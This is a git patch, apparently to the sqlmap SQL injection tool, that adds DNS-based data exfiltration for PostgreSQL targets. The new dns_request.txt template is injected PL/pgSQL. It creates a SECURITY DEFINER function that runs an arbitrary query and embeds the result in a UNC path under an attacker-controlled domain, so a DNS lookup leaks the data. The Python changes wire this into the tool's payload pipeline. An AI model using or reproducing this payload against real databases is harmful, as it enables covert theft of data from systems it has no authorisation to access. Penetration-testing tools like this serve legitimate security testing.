From 8c6eb4faa9c24fbc9dfeea1530b1cdf4765b5196 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 7 Apr 2012 14:06:11 +0000 Subject: [PATCH] adding support for PgSQL DNS data exfiltration --- lib/core/agent.py | 2 +- lib/core/common.py | 8 +++++++- lib/request/connect.py | 3 ++- lib/techniques/dns/use.py | 8 ++++---- procs/postgresql/dns_request.txt | 13 +++++++++++++ 5 files changed, 27 insertions(+), 7 deletions(-) create mode 100644 procs/postgresql/dns_request.txt diff --git a/lib/core/agent.py b/lib/core/agent.py index 9e78578ba..650755ef9 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -805,7 +805,7 @@ class Agent: retVal = None if inpStr: - match = re.search("%s(?P.*?)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), inpStr) + match = re.search("%s(?P.*?)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), inpStr, re.S) if match: retVal = match.group("result") diff --git a/lib/core/common.py b/lib/core/common.py index c8b2a2fa5..d6ec95b0b 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1609,11 +1609,17 @@ def getSPQLSnippet(dbms, name, **variables): retVal = readCachedFileContent(filename) retVal = re.sub(r"#.+", "", retVal) - retVal = re.sub(r"(?s);\W+", "; ", retVal).strip() + retVal = re.sub(r"(?s);\s+", "; ", retVal).strip() for _ in variables.keys(): retVal = re.sub(r"%%%s%%" % _, variables[_], retVal) + for _ in re.findall(r"%RANDSTR\d+%", retVal, re.I): + retVal = retVal.replace(_, randomStr()) + + for _ in re.findall(r"%RANDINT\d+%", retVal, re.I): + retVal = retVal.replace(_, randomInt()) + _ = re.search(r"%(\w+)%", retVal, re.I) if _: errMsg = "unresolved variable '%s' in SPL snippet '%s'" % (_.group(1), name) diff --git a/lib/request/connect.py b/lib/request/connect.py index e8b6871ba..7cd46902e 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -15,6 +15,7 @@ import urllib2 import urlparse import traceback +from extra.safe2bin.safe2bin import safecharencode from extra.socks.socks import ProxyError from extra.multipart import multipartpost @@ -549,7 +550,7 @@ class Connect: value = agent.replacePayload(value, payload) - logger.log(CUSTOM_LOGGING.PAYLOAD, payload) + logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload)) if place == PLACE.COOKIE and conf.cookieUrlencode: value = agent.removePayloadDelimiters(value) diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index a8b794920..c14588d04 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -48,7 +48,7 @@ def dnsUse(payload, expression): count = 0 offset = 1 - if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL): + if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): output = hashDBRetrieve(expression, checkConf=True) if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: @@ -60,7 +60,7 @@ def dnsUse(payload, expression): while True: count += 1 prefix, suffix = ("%s" % randomStr(3) for _ in xrange(2)) - chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL) else MAX_DNS_LABEL / 4 - 2 + chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL / 4 - 2 _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) @@ -70,14 +70,14 @@ def dnsUse(payload, expression): expressionRequest = getSPQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain) expressionUnescaped = unescaper.unescape(expressionRequest) - if Backend.isDbms(DBMS.MSSQL): + if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): comment = queries[Backend.getIdentifiedDbms()].comment.query query = agent.prefixQuery("; %s" % expressionUnescaped) query = agent.suffixQuery("%s;%s" % (query, comment)) forgedPayload = agent.payload(newValue=query) else: forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3))) - + Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False) _ = conf.dnsServer.pop(prefix, suffix) diff --git a/procs/postgresql/dns_request.txt b/procs/postgresql/dns_request.txt new file mode 100644 index 000000000..dd04d8663 --- /dev/null +++ b/procs/postgresql/dns_request.txt @@ -0,0 +1,13 @@ +DROP TABLE IF EXISTS %RANDSTR1%; +CREATE TABLE %RANDSTR1%(%RANDSTR2% text); +CREATE OR REPLACE FUNCTION %RANDSTR3%() +RETURNS VOID AS $$ +DECLARE %RANDSTR4% TEXT; +DECLARE %RANDSTR5% TEXT; +BEGIN +SELECT INTO %RANDSTR5% (%QUERY%); +%RANDSTR4% := E'COPY %RANDSTR1%(%RANDSTR2%) FROM E\'\\\\\\\\%PREFIX%.'||%RANDSTR5%||E'.%SUFFIX%.%DOMAIN%\\\\%RANDSTR6%\''; +EXECUTE %RANDSTR4%; +END; +$$ LANGUAGE plpgsql SECURITY DEFINER; +SELECT %RANDSTR3%(); \ No newline at end of file